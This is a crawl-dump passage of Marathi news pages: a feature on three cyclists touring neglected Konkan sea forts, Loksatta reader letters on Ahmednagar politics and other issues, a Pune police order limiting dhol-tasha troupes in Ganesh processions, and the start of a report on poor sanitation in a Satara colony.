११ किल्ल्यांना त्यांनी भेट दिली.\nसुशांत सांगतात, “मी १९९८ साली संपूर्ण भारत सायकलिंग करत पालथा घातला आहे. १३,१६५ किमी अंतर त्यावेळी मी सायकलिंग करुन पार केलं होतं. त्याशिवाय संपूर्ण दक्षिण भारत आणि पूर्व महाराष्ट्रही सायकलिंग करत फिरलो आहे. मुंबई-पुणे सायकलिंग स्पर्धेतही भाग घेतला आहे. मात्र स्पर्धेसाठी सायकलिंग करणं आणि मोहिम म्हणून सायकलिंग करणं यात दृष्टीकोनाचा फरक आहे. स्पर्धेमध्ये आपल्याला अमूक एक अंतर पार करायचं हेच लक्ष्य असतं. मात्र मोहिमेमध्ये केवळ लक्ष्य पूर्ण करणं हे उद्दीष्ट नसतं. इथे तुमचे मॅनेजमेंट स्कील पणाला लागतात. आयत्यावेळी समोर येणाऱ्या अनेक गोष्टींना अनुसरुन वेळोवेळी पुढच्या योजनांमध्ये योग्य ते बदल करावे लागतात. जे आम्हाला आमच्या या मोहिमेदरम्यानही करावे लागले. उदाहरणार्थ सांगायचं झालं तर सुरुवातीलाच माझ्या मित्रांपैकी एकाला सुट्टी न मिळाल्यामुळे आम्ही ठरलेल्या वेळेपेक्षा उशिरा निघालो. त्यानंतर मुरुड-जंजिऱ्यासमोरच्या पद्मदुर्गावरची तोफ चोरीला गेल्यामुळे तिथे जाण्यास सरकारने बंदी घातली आहे असं सांगण्यात आलं. त्यामुळे तो किल्ला आमच्या यादीतून रद्द करावा लागला. मोहिमेदरम्यान अशा अनेक गोष्टी घडल्या. जयगड किल्ल्यावर बोटीने जावं लागतं. या बोटीने पाच मिनिटात आपण किल्ल्यावर पोहचतो. पण त्या दिवशी ही बोटच पाण्यात रुतून बसली. त्यामुळे तिथे आमचे तीन तास वाया गेले. केवळ वेळेच्या अभावामुळे किंवा लक्ष्य पूर्ण करण्यासाठी म्हणून तो किल्ला सोडून पुढे जाणं आम्हाला पटत नव्हतं. त्यामुळे पुढचं वेळापत्रक बिघडलं. जयगड बघून परतायला आम्हाला उशीर झाला. तो आमचा अकरावा किल्ला होता. मित्रांना २ तारखेला कामावर हजर व्हायचं होतं. पुढचे किल्ले केले असते तर ते शक्य झालं नसतं. केवळ १५ वर्षांची परंपरा टिकवण्यासाठी ३१ डिसेंबरची रात्र बाहेर काढायची हे सुद्धा आम्हाला पटलं नाही. त्यामुळे यावर्षी आम्ही नववर्षाच्या पूर्वसंध्येलाच फक्त ११ किल्ले पाहून परतलो.”\nखांदेरीकडे जाताना दूरुन दिसणारा उंदेरी किल्ला\nखांदेरीकडे जाताना दूरुन दिसणारा उंदेरी किल्ला\nमोहिमेदरम्यान या सागरी किल्ल्यांविषयी आढळलेली निरिक्षणे नोंदवताना ते सांगतात, “खरं सांगायचं तर आम्ही द्रोणागिरीपासून सुरुवात केली असली तरी आम्ही प्रत्यक्ष किल्ल्यावर पोहचूच शकलो नाही. आमच्याकडच्या नकाशाच्या आधारावर आम्ही तिथे गेलो. मात्र बहुदा पुस्तकातला तो नकाशा जुना असल्यामुळे तिथून गडावर जायला रस्ता सापडला नाही आणि विशेष म्हणजे तिथल्या स्थानिकांनाही नेमका रस्ता सांगता येईना. या पहिल्याच ठिकाणी आम्हाला या किल्ल्यांच्या संवर्धनासाठी मुळात तिथल्या स्थानिकांमध्ये याबाबत जागृती निर्माण करण्याची गरज असल्याचं लक्षात आलं. तिथून पुढे खांदेरी-उंदेरीला गेलो. खांदेरीला होडीने जाताना त्या होडीच्या मालकाने माहिती दिली की उंदेरीची देखभाल ठेवली नसल्यामुळे पर्यटक केवळ खांदेरीलाच भेट देतात.”\nया किल्ल्यांकडे पुरातत्व विभागाचं दुर्लक्ष होत असल्याचा प्रत्यय या तिघांना या मोहिमेदरम्यान वारंवार आला. सुशांत सांगतात, “सागरी किल्ल्यांचं विशेष म्हणजे समुद्राच्या खाऱ्या पाण्याजवळ असूनही या किल्ल्यांमध्ये गोड्या पाण्याची टांके असतात. मुरुड-जंजिरामध्येही दोन गोड्या पाण्याची टांकी आहेत. मात्र त्याच्या स्वच्छतेची काळजी घेतली गेलेली नाही. गाईडला आम्ही प्रश्न केला की तुम्ही का याची स्वच्छता करत नाही तर त्यांनी उत्तर दिलं की आमची इच्छा आहे पण सरकार आम्हाला परवानगी देत नाही. त्याचं हे उत्तर ऐकून मनात विचार आला की सरकारला स्वतःच्या यंत्रणेच्या माध्यमातून सर्व किल्ल्यांची निगा राखणं शक्य नसेल तर त्यांनी किमान स्थानिकांची मदत घेऊन हे काम करायला काय हरकत आहे तर त्यांनी उत्तर दिलं की आमची इच्छा आहे पण सरकार आम्हाला परवानगी देत नाही. त्याचं हे उत्तर ऐकून मनात विचार आला की सरकारला स्वतःच्या यंत्रणेच्या माध्यमातून सर्व किल्ल्यांची निगा राखणं शक्य नसेल तर त्यांनी किमान स्थानिकांची मदत घेऊन हे काम करायला काय हरकत आहे जंजिरा किल्ल्याचे दोन मजलेही पडले आहेत. झाडं वाढायला लागली आहेत. मुरुड-जंजिरामध्ये त्यातल्या त्यात पुरातत्व खात्याने केलेलं चांगलं काम म्हणजे इथे उगवलेली, किल्ल्याला नुकसान पोहचवू शकतील अशी झाडं काढायला आता त्यांनी सुरुवात केली आहे.”\nते पुढे सांगतात, “या अकरा किल्ल्यांमध्ये फक्त कोरलाई आणि गोपाळगडाची चांगली निगा राखण्यात आली आहे. कोरलाई किल्ल्याची पुरातत्व खात्याकडून चांगली देखभाल ठेवण्यात आली आहे. तर गोपाळगड खाजगी मालकीचा झाल्याने त्याचीही चांगली देखभाल ठेवली जात आहे. मात्र किल्ल्यांची देखभाल व्हावी म्णून ते खाजगी मालकीचे होणं हा उपाय नाही. कोरलाई किल्ल्यात आम्ही गेलो तेव्हा एक वयस्कर व्यक्ती तिथे विहिरीतून पाणी काढून झाडांना घालत होते. खरं तर त्यांच्यावर लक्ष ठेवणारं तिथे कुणी नव्हतं. मात्र ते प्रामाणिकपणे, पूर्ण समर्पित भावनेने काम करत होते. ते पाहून वाटलं की अशा समर्पित भावनेने राज्यातील सर्व ऐतिहासिक ठिकाणांची निगा राखली गेली तर महाराष्ट्राचं वैभव तर राखलं जाईलच. त्याचबरोबर राज्यातील पर्यटन व्यवसायाला चालना मिळून राज्याच्या तिजोरीत मोठ्या प्रमाणात महसूल जमा होऊ शकेल. मात्र प्रत्येकवेळी या ऐतिहासिक ठेव्याच्या दुरवस्थेबाबत सरकारकडे बोट दाखवणंही योग्य नाही. हा सांस्कृतिक वारसा जपण्यासाठी पुरातत्त्व खात्याकडून म्हणावे तितके प्रयत्न होताना दिसत नाहीत हे खरं असलं तरी सरकारच्या प्रयत्नांबरोबरच आपल्या भूमीवरील या ऐतिहासिक वास्तू टिकवणं ही आपलीही जबाबदारी आहे हा विचार जनमानसात रुजणंही तितकच गरजेचं आहे. तरच महाराष्ट्राचा गौरवशाली इतिहास सांगणारं हे वैभव चिरकाल टिकेल.”\nमानवी हस्तक्षेपामुळे उद्भवलेल्या समस्या सोडविणारी झिरो बजेट नैसर्गिक (अध्यात्मिक) शेती, एक वरदान\nस्वानुभवाच्या प्रेरणेतून अनाथांना कौटुंबिक जिव्हाळा मिळवून देणारे धेंडे दाम्पत्य\nढोल-ताशाला नवी ओळख प्राप्त करुन देणारे ‘रिधम इव्होल्युशन’\nडुडलच्या माध्यमातून शिवरायांना मानाचा मुजरा करण्यासाठी आधुनिक रयतेची ऑनलाईन मोहिम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/lokmanas-news/loksatta-readers-letter-358-1661036/", "date_download": "2018-09-25T17:34:20Z", "digest": "sha1:JVAPEKK7KTR5SZSZWPCJCZ6UOK66U3XW", "length": 28204, "nlines": 228, "source_domain": "www.loksatta.com", "title": "Loksatta readers letter | ‘अंधेर नगर’ची जबाबदारी मतदारांचीही | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\n‘अंधेर नगर’ची जबाबदारी मतदारांचीही\n‘अंधेर नगर’ची जबाबदारी मतदारांचीही\nमुख्यमंत्र्यांनी ज्या ज्या यंत्रणेच्या निष्क्रियतेमुळे नगर जिल्ह्य़ाला कायदाशून्यता, गुंडगिरी आणि कुप्रशासनाचे स्वरूप आले आहे त्यांना-त्यांना नगरमधून त्वरित हटवावे.\n‘अंधेर नगर, चौपट राजा’ (१० एप्रिल) या अग्रलेखात नमूद केल्याप्रमाणे जे घडत आहे, त्याची दिशा बदलण्याची ही मुख्यमंत्र्यांसाठी संधी आहे. नगरमधील नेत्यांची दबंगगिरी असो की राज्यातील राजकारण्यांची दृश्य-अदृश्य दडपशाही; ती पाहता राज्यात सत्तांतर झाले असले तरी व्यवस्थापरिवर्तन अजून तरी झालेले दिसत नाही. सरकार पारदर्शक असले तरी त्यातील शासन- प्रशासनातील होणारे बदल मात्र सामान्य नागरिकांसाठी अद्यापपर्यंत तरी अपारदर्शकच आहेत. एक नगरकर म्हणून माझे स्पष्ट मत आहे की, नगर शहराचे वर्तमान बिहारीकरण संपवण्यासाठी सरकार आणि नगरकर मतदारांना पुढे यावे लागेल.\nमुख्यमंत्र्यांनी ज्या ज्या यंत्रणेच्या निष्क्रियतेमुळे नगर जिल्ह्य़ाला कायदाशून्यता, गुंडगिरी आणि कुप्रशासनाचे स्वरूप आले आहे त्यांना-त्यांना नगरमधून त्वरित हटवावे. अन्य ठिकाणच्या प्रशासनांसाठीदेखील तो योग्य संदेश ठरेल. दुसरी जबाबदारी आहे ती नगरकर मतदारांची. गरज आहे त्यांनी डोळे आणि संवेदना जागृत ठेवत मतदान करण्याची. ज्ञात असूनदेखील आपण प्रचारातील संमोहनाला बळी पडत पुन्हा पुन्हा त्यांनाच निवडून देतो आणि म्हणूनच आज नगरकरांवर बदनामीची नामुष्की झेलण्याची वेळ आली आहे. नगरकरांनी आता एकच निर्धार करण्याची गरज आहे तो म्हणजे भविष्यात निवडणूक कोणतीही असो, मतदान करायचे ते पक्ष पाहून नव्हे तर त्या उमेदवाराची गुन्हेगारी पाश्र्वभूमी तपासूनच. तरच नगरला लागलेला गुंडगिरीचा कलंक पुसला जाऊ शकतो, अन्यथा घटनांची पुनरावृत्ती अटळ असणार, हे नक्की.\n– स्नेहल मनीष चुडासामा, डब्लिन (आर्यलड) [मूळ निवास :केडगाव , अहमदनगर ]\nहे निजामशाहीचे अतृप्त आत्मेच\nजगाला शांतीचा संदेश देणाऱ्या ज्ञानेश्वरांच्या अहमदनगर जिल्ह्य़ात राजकारणातील वाढलेल्या गुंडगिरीने सर्वसामान्य माणसे अशांत झाली आहेत. हा प्रश्न केवळ नगर शहरापुरता मर्यादित नसून जिल्ह्य़ाच्या प्रत्येक तालुक्यातील गावागावात आहे. राजकारण हा कमी कष्टात अधिक मिळकतीचा धंदा झाला आहे. राजकारण करणाऱ्या इथल्या प्रत्येक राजकीय पक्षाच्या गावपातळीवरील नेत्यापर्यंत लाखो-कोटय़वधींची माया आहे.\nइ.स. १४८९ ते इ.स. १६३३ पर्यंत इथे निजामशाही होती. जनतेवर दहशत बसवून लूटमार करणे म्हणजे राज्य करणे अशी परिस्थिती त्या काळी होती. मोगलकालीन निजामशाहीत जनता जेवढी भयभीत होती, तितक्याच दहशतीचा प्रत्यय सध्या संपूर्ण जिल्ह्य़ाला येत आहे. इथले राजकारणी आणि त्यांचे बगलबच्चे सरंजामदार झालेले आहेत. निजामशाहीत दहशत निर्माण करून लूटमार करणारांचे अतृप्त आत्मेच बहुधा राजकीय पुढारी म्हणून नव्याने जन्माला आले असावेत.\n– ज्ञानेश्वर सुधाकर खुळे, वीरगाव (ता. अकोले, जि. अहमदनगर)\nही ‘राजनीती’ की अगतिकता\n‘अंधेर नगर, चौपट राजा’ (१० एप्रिल) हे संपादकीय वाचले. आमदारांच्या अटकेनंतर पोलीस अधीक्षक कार्यालयावर झालेला थेट हल्ला हा राज्याच्या कायदा सुव्यवस्थेला आव्हान देणारा आहे. तसेच राजकीय दुष्मनीतून झालेला हा रक्तरंजित धुडगूस एकूण राज्याच्या प्रतिष्ठेला आणि संस्कृतीला घातक आहे. ही इथली अगतिकता म्हणावी की ‘राजनीती’ म्हणावी’ (१० एप्रिल) हे संपादकीय वाचले. आमदारांच्या अटकेनंतर पोलीस अधीक्षक कार्यालयावर झालेला थेट हल्ला हा राज्याच्या कायदा सुव्यवस्थेला आव्हान देणारा आहे. तसेच राजकीय दुष्मनीतून झालेला हा रक्तरंजित धुडगूस एकूण राज्याच्या प्रतिष्ठेला आणि संस्कृतीला घातक आहे. ही इथली अगतिकता म्हणावी की ‘राजनीती’ म्हणावी अर्थात महाराष्ट्रातील या एकाच जिल्ह्याला दोष देण्यात अर्थ नाही. थोडय़ाफार फरकाने संपूर्ण राज्याची परिस्थिती अशीच आहे.\n– सुनील कुवरे, शिवडी (मुंबई)\nकिती प्रमाणिक अधिकाऱ्यांच्या गेल्या तीनएक वर्षांत बदल्या झाल्या याचा शोध घ्या, म्हणजे कळेल इतर पक्षांपेक्षा वेगळा म्हणवणारा पक्ष असे जेव्हा काम करतो, तेव्हाच त्यांची पुढील पावले ओळखू येतात (गेल्या मंगळवारच्या लोकमानसमधील माझे ‘महाराष्ट्राची वाटचाल अनागोंदीकडे इतर पक्षांपेक्षा वेगळा म्हणवणारा पक्ष असे जेव्हा काम करतो, तेव्हाच त्यांची पुढील पावले ओळखू येतात (गेल्या मंगळवारच्या लोकमानसमधील माझे ‘महाराष्ट्राची वाटचाल अनागोंदीकडे’ हे पत्र वाचा). याला अनागोंदी म्हणायचे, नाहीतर काय म्हणायचे. येनकेनप्रकारेण मिळवलेली कुठलीही गोष्ट टिकत नाही- भले मग ती सत्ता का असेना- हे राजकीय धुरिणांना समजायला हवे.\n– अनिल जांभेकर, मुंबई\n‘गेल्या तीन-चार’ नव्हे, त्याआधीच्या वर्षांमुळे..\nनगर जिल्ह्य़ाची आजची अत्यंत लाजिरवाणी अवस्था अशी का झाली व कोणी कोणी केली, हा विषय आज चच्रेत घेऊन काही हाती लागेल असे वाटत नाही. एक सत्य मात्र लक्षात घ्यावेच लागेल, ते म्हणजे ही भयंकर अवस्था गेल्या तीन-चार वर्षांत झाली नाही तर गेल्या कित्येक वर्षांतील साचलेल्या राजकारणामुळे झाली आहे, आणि म्हणून तीत सुधारणा करायची असेल तर त्या जिल्ह्य़ातील राजकारण्यांनी घरी बसावे- नागरिकांनी निवडणुकीत ‘नोटा’चा वापर करून गुंड-पुंड उमेदवारांना बाद करावे. सर्व पक्षांत जसे गुंड, पुंड/भ्रष्टाचारी असतात तसे सभ्य, सुसंस्कृत, चारित्र्यवान कार्यकत्रेही असतात. अशांना पुढे आणण्याची खरी गरज आहे व ती जनताच पुरी करू शकते.\n– श्रीनिवास जोशी, डोंबिवली (पूर्व)\nवाल्यांचे वाल्मीकी करण्याचा प्रघात..\n‘अंधेर नगर, चौपट राजा’ हे संपादकीय (१० एप्रिल) सद्य आणि २०१९ मधील निवडणुकीदरम्यान राजकीय परिस्थिती कशी असू शकेल याचे चित्र स्पष्ट करते. निवडणूक जिंकणे हेच अंतिम उद्दिष्ट ठरवून वाल्याचे वाल्मीकी करणे हा प्रघात गेल्या चार वर्षांत चांगलाच रुजला. नगरएवढीच वाईट परिस्थिती नागपूरचीही आहे. तेथेही अनेक आधुनिक वाल्मीकींनी उच्छाद मांडला आहे. किंबहुना असे वाल्मीकी सत्ताधारी पक्षात आता गावोगावी इतर पक्षांतून ठोक आयातीद्वारे निवडणुका जिंकण्यासाठी सज्ज असल्याचे दिसते. मुख्यमंत्री महोदयांकडे गृह मंत्रालय असल्याने कायदा सुव्यवस्थेची जबाबदारी त्यांच्यावरच आहे आणि ते त्यामध्ये अपयशी ठरले. ‘कुठे नेऊन ठेवला महाराष्ट्र माझा’ या प्रश्नाचे उत्तर आता मिळते आहे. तो कलहंडी (ओरिसा) आणि भागलपूर (बिहार) यांच्या जवळ पोहोचला.\n– वसंत नलावडे, सातारा\nकर लावा, पण प्लास्टिक बंदी नको…\n‘प्लास्टिक बंदी’च्या निर्णयामुळे तणावात येऊन घनश्याम शर्मा या व्यापाऱ्याने आत्महत्या केली. राज्य सरकारच्या प्लास्टिक बंदी निर्णयाच्या विरुद्ध विविध व्यापारी संघटना एकवटल्या आहेत. त्यांचे म्हणणे आहे की तुम्ही कर लावा, पण बंदी आणू नका. राज्य सरकारने घेतलेला निर्णय योग्यच आहे. प्लास्टिक बंदीने पर्यावरणाचे संतुलन राखण्यात मदत होईल.. पण मला सरकारला एकच सांगावेसे वाटते की, हा खूप विस्तारलेला व्यवसाय आहे आणि या व्यवसायात लाखो लोक गुंतलेले आहेत. अशा वेळी त्या कामगार आणि व्यापाऱ्यांना दुसरी काही तरी पर्यायी व्यवस्था, प्रशिक्षण आणि दुसऱ्या व्यवसायात जाईपर्यंत काही तरी कालावधी निर्माण करून देणे की जेणेकरून त्यांच्यावर बेरोजगार होण्याची वेळ येणार नाही. हेदेखील सरकारचे कर्तव्य आहे.\nअसे भावनिक निर्णय घेताना यापुढे तरी सरकार काळजी घेईल ही अपेक्षा ठेवतो. ‘भावनिक’ म्हणतो आहे, कारण निर्णय चांगलेच असतात, पण त्यानंतर होणारे तोटे टाळण्यासाठी आपल्याकडे पर्यायी व्यवस्था खूप कमी असते- किंवा बऱ्याचदा नसतेच. उदाहरणच द्यायचे तर नोटाबंदीचे देता येईल. नोटाबंदी करून काळा पसा निष्प्रभ झालेला नाहीच, पण त्या काळात सामान्य माणसालाच त्रास झाला.\n– गणेश म. सानप, वसई\nदक्षिणेकडील राज्यांचा त्रागा अनाठायी नाही\n‘दक्षिणज्वालांचा दाह राष्ट्राला’ या लेखात (समोरच्या बाकावरून- १० एप्रिल) योग्य बाबींवर प्रकाश टाकण्यात आला आहे. जीएसटीच्या अंमलबजावणीनंतर राज्यांचे केंद्राच्या निधींवरील अवलंबित्व वाढले आहे. पंधराव्या वित्त आयोगाने लोकसंख्याविषयक महितीसाठीचे आधारभूत वर्ष बदलून राज्यांच्या (विशेषत दक्षिणेकडील) अडचणीत भरच घातली आहे. चौदाव्या वित्त आयोगाच्या शिफारसीनुसार राज्यांचा वाटा ४२ टक्के केला असला तरी केंद्र शासनाने ‘केंद्र पुरस्कृत’ योजनांमधील केंद्राकडून दिल्या जाणाऱ्या निधीचा वाटा उत्तरोत्तर कमी केला आहे. तसेच बहुतेक सर्व केंद्र पुरस्कृत योजनांचा (ज्यांची अमलबजावणी राज्यांकडे आहे) कालावधी हा २०२५ आहे. म्हणजे विनिर्दष्टि उद्दिष्टे ही २०२५ पर्यंत गाठावयाची आहेत आणि पंधराव्या वित्त आयोगाच्या शिफारसी २०२०-२०२५ या कालावधीसाठी असणार आहेत हे विशेष. तेव्हा दक्षिणेकडील राज्यांचा त्रागा अनाठायी नाही. नीती आयोगाचे उपाध्यक्ष राजीव कुमार यांनी ‘कामगिरी आधारित निकष’ निश्चित करण्याची सूचना केली आहे. यावर विचार केला जाणे गरजेचे आहे, हे करत असताना दक्षिणेकडील राज्यांना विश्वासात घेतले जावे. नाहीतर असंतोषाच्या ‘ज्वालां’ना शमविणे अवघड होईल.\n– प्रसाद डोके, औरंगाबाद\n‘ते’ पत्र आगीत तेल ओतणारे..\n‘िलगायत मोर्चामुळे दंगली, जाळपोळ होईल’ हे शिवराम गोपाळ वैद्य यांचे पत्र आगीत तेल ओतणारे आहे. ‘अशी खेळी काँग्रेसने केली’ असेही या पत्रात म्हटले आहे, परंतु जातीजातीत , धर्माधर्मात तणाव निर्माण करण्याचे शिस्तबद्ध कार्य रा. स्व. संघाच्या ‘परिवारा’ने वेळोवेळी केले आहे. बाबरी मशीद कोणी पाडली रामनवमीच्या सणात पश्चिम बंगालमध्ये तलवारी घेऊन कोण फिरत होते रामनवमीच्या सणात पश्चिम बंगालमध्ये तलवारी घेऊन कोण फिरत होते ‘‘मुसलमान समाज देशविरोधी आहे, त्यांनी पाकिस्तानात जावे’’ असे सांगणारी मंडळी कोण ‘‘मुसलमान समाज देशविरोधी आहे, त्यांनी पाकिस्तानात जावे’’ असे सांगणारी मंडळी कोण जसे पेराल तसेच उगवणार. खरा िहदू धर्म किती महान व प्रेमाने भरलेला आहे यासाठी शशी थरूर यांचे ‘व्हाय आय अ‍ॅम अ हिंदू’ हे पुस्तक वाचावे.\n– मार्कुस डाबरे, पापडी (वसई)\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A2%E0%A5%8B%E0%A4%B2-%E0%A4%A4%E0%A4%BE%E0%A4%B6%E0%A4%BE-%E0%A4%AA%E0%A4%A5%E0%A4%95%E0%A4%BE%E0%A4%82%E0%A4%B5%E0%A4%B0-%E0%A4%AF%E0%A4%82%E0%A4%A6%E0%A4%BE%E0%A4%B9%E0%A5%80-%E0%A4%A8/", "date_download": "2018-09-25T16:33:18Z", "digest": "sha1:RM63324ZSOMK3YSZK4XRQJNM3PPFOQTH", "length": 10707, "nlines": 153, "source_domain": "www.dainikprabhat.com", "title": "ढोल-ताशा पथकांवर यंदाही निर्बंध | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nढोल-ताशा पथकांवर यंदाही निर्बंध\nपोलिसांनी दिलेल्या आदेशांना पथकांचीही सहमती\nमिरवणूक लवकर संपवण्यासाठी पाऊल\nपुणे – गणपती प्रतिष्ठापना दिनी शहरात निघालेल्या मिरवणुकीदरम्यान ढोल-ताशा पथकांनी रस्त्यावर जागोजागी थांबून बराच वेळ वादन केल्यामुळे वाहतुकीस अडथळा निर्माण झाल्याचे चित्र दिसून आले. त्यामुळे गणेश विसर्जन मिरवणुकीत प्रत्येक गणेश मंडळापुढे असणारे ढोलपथके आणि त्यांच्या संख्येवर पोलिसांनी मर्यादा आणली आहे. त्याचबरोबर विसर्जन मिरवणुकीत जागोजागी थांबून बऱ्याच वेळ वादनाचे आवर्तन करण्यास निर्बंध आणण्यात आले आहेत. हे निर्बंध मागील वर्षीप्रमाणेच आहेत, याला बहुतांश ढोल पथकांनी सहमती दर्शवली आहे. यामुळे यंदाची विसर्जन मिरवणूक वेळेवर संपते का हे पहाणे ऊत्सुकतेचे ठरणार आहे.\nएका ढोल ताशा पथकात 40 ढोल, 10 ताशा आणि 6 झांजा एवढ्याचा वाद्यांचा समावेश असेल. एका ढोल पथकामध्ये वादक, सुरक्षाकडे करणारे असे सर्व मिळून जास्तीत जास्त शंभर सदस्यांचा समावेश करावा. एका गणेश मंडळाबरोबर असलेल्या ढोल पथकास सुरूवातीपासून शेवटपर्यंत त्याच ढोलपथकाला परवानगी राहील. मानाच्या गणपतीपुढे तीन ढोल पथके तर इतर गणेश मंडळापुढे दोन ढोल पथकांना परवानगी राहणार आहे. यासोबतच प्रत्येक ढोल-ताशा पथकाला लक्ष्मी रोडवरील विसर्जन मिरवणुकीत फक्त बेलबाग चौक, उंबऱ्या गणपती चौक व अलका टॉकीज चौक या तीन चौकांमध्येच जास्तीत-जास्त 20 मिनिटे वादन आवर्तन करता येईल. याव्यतिरिक्त कोणत्याही चौकामध्ये किंवा रस्त्यावर थांबून आवर्तन करता येणार नाही.\nटिळक रोडवरील मिरवणुकीत पुरम चौक व एस.पी. कॉलेज चौक, केळकर रोडवर टकले हवेली चौक व अलका टॉकिज चौकात थांबून वादन करता येईल. विसर्जन मिरवणुकीत एका ढोल-ताशा पथकास फक्त एकाच गणेश मंडळासोबत विसर्जन मिरवणुकीत सहभागी होता येणार आहे. तसेच सहभागी गणेश मंडळाचे विसर्जन झाल्यानंतर त्या मंडळासोबत असलेल्या\nढोल-ताशा पथकाला पुन्हा नव्याने दुसऱ्या गणेश मंडळासोबत सहभागी होता येणार नाही. ढोल-ताशा पथक मिरवणूक वेळेपूर्वी पोहोचले नाही, या कारणावरून कोणत्याही गणेश मंडळांना मिरवणूक थांबविता येणार नाही.\nलक्ष्मी रोड, टिळक रोड, कुमठेकर रोड, केळकर रोडवर प्रत्येक ढोल ताशा पथक हे जास्तीत जास्त 2 तास राहणे अपेक्षित आहे. त्यामुळे विसर्जन मिरवणूक लवकर संपविणे शक्‍य होणार आहे. हा आदेश पुणे शहर पोलीस दलाचे सहआयुक्त शिवाजी बोडखे यांनी काढला असून नियमाचे पालन करण्याचे आवाहन पोलिसांनी केले आहे.\nअसे आहेत प्रमुख आदेश\n– एका गणेश मंडळाबरोबर एकच पथक.\n– एका पथकात 100पर्यंतच सदस्य असावेत.\n– एक पथक एकाच मिरवणुकीत सहभागी होईल.\n– बेलबाग चौक, उंबऱ्या गणपती चौक व अलका टॉकिज चौकात जास्तीत-जास्त 20 मिनिटेच वादन करता येईल.\n– मानाच्या गणपतींपुढे तीनच ढोल पथकांना परवानगी.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleएमएसएलटीएच्या सचिवपदी सुंदर अय्यर यांची फेरनिवड\nNext articleनवाब मलिक यांच्याविरोधातील मानहानीचा दावा मागे\nकर्जत तालुक्‍यात गणेश विसर्जन शांततेत\nजामखेडमध्ये 127 गणेश मंडळांनी दिला गणरायाला निरोप\nढोलताशाच्या गजरात शेवगावात ‘श्री’ ला निरोप\nकोपरगावात आठ तास चालली मिरवणूक\n#फोटो : गणेशोत्सवातील क्षणचित्रे\nबुधवारी पाणी वाटपाची चर्चा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00265.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%A8%E0%A4%97%E0%A4%B0-%E0%A4%95%E0%A5%89%E0%A4%B2%E0%A4%A8%E0%A5%80%E0%A4%AE%E0%A4%A7%E0%A5%80%E0%A4%B2-%E0%A4%A8%E0%A4%BE%E0%A4%97%E0%A4%B0%E0%A4%BF%E0%A4%95/", "date_download": "2018-09-25T16:43:41Z", "digest": "sha1:3YOWTWTW2CTT3NZ34UJ5E52ANMJRXX7P", "length": 10565, "nlines": 138, "source_domain": "www.dainikprabhat.com", "title": "श्रीनगर कॉलनीमधील नागरिकांचे आरोग्य धोक्‍यात | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nश्रीनगर कॉलनीमधील नागरिकांचे आरोग्य धोक्‍यात\nसातारा- येथील सातारा-कोरेगाव मार्गावरील वेदभवन मंगल कार्यालयाशेजारी असणारी श्रीनगर कॉलनी ही खेड ग्रामपंचायतीच्या हद्दीत येणारी श्रीनगर 35 घरांची ही कॉलनी. या कॉलनीत अंदाजे 300 ते 400 नागरिकांची वसाहत आहे. हे नागरिक अनेक वर्षापासून सर्व मुलभुत सुविधापासुन वंचित आहेत.\nया कॉलनीत आजपर्यंत डांबरी पक्के रस्ते, सांडपाण्यासाठी गटारे तसेच विद्युत खांबावर दिवे नाहीत. रात्रीच्या वेळी अंधाराचे साम्राज्य असते. सांडपाणी व नाल्याच्या पाण्याचा योग्य निचरा होत नसल्यामुळे मोकळ्या जागेत मोठ्या प्रमाणात झाड झुडपे गवत वाढले आहे. व सर्वसांडपाणी गटाराचे पाणी प्रत्येक नागरिकांच्या बोरमध्ये मिसळत आहे. या आधी या भागात दुषीत पाण्यामुळे अनेकांना गॅस्ट्रो सारख्या आजाराला सामोरे जावे लागले होते. त्यामुळे या सांडपाण्यामुळे मोठ्या प्रमाणात डासांचा प्रादुर्भाव झाला आहे. त्या ठिकाणी राहणारी लहान मुले, स्त्रिया, वृद्ध वारंवार आजारी पडत असतात. 